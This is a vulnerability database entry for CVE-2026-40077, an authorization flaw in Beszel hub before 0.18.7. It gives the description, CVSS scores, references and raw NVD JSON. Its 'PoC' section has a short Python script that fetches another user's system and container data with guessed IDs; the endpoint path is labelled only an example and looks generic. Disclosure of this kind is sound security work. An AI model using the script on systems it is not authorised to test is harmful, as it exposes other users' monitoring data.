CVE-2026-40077

Description

Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:* - VULNERABLE

Beszel < 0.18.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-40077 POC
# Target: Beszel Hub < 0.18.7
# Description: Access arbitrary system data by guessing system ID.

TARGET_URL = "http://target-domain.com"
AUTH_TOKEN = "YOUR_AUTH_TOKEN_HERE" # Obtained after login
SYSTEM_ID = "GuessedSystemID" # 15 char alphanumeric
CONTAINER_ID = "GuessedContainerID" # 12 digit hex

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

# Example endpoint exploiting the vulnerability
exploit_url = f"{TARGET_URL}/api/systems/{SYSTEM_ID}/containers/{CONTAINER_ID}"

try:
    response = requests.get(exploit_url, headers=headers)
    if response.status_code == 200:
        print(f"[+] Success! Data leaked: {response.text}")
    else:
        print(f"[-] Failed with status code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40077
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40077
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40077/
[4] VulDB https://vuldb.com/cve/CVE-2026-40077
[5] https://github.com/henrygd/beszel/releases/tag/v0.18.7
[6] https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40077", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.230", "lastModified": "2026-04-17T17:37:33.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.18.7", "matchCriteriaId": "FEE9E0EA-91E0-4B0C-83AC-4FAF20D19328"}]}]}], "references": [{"url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}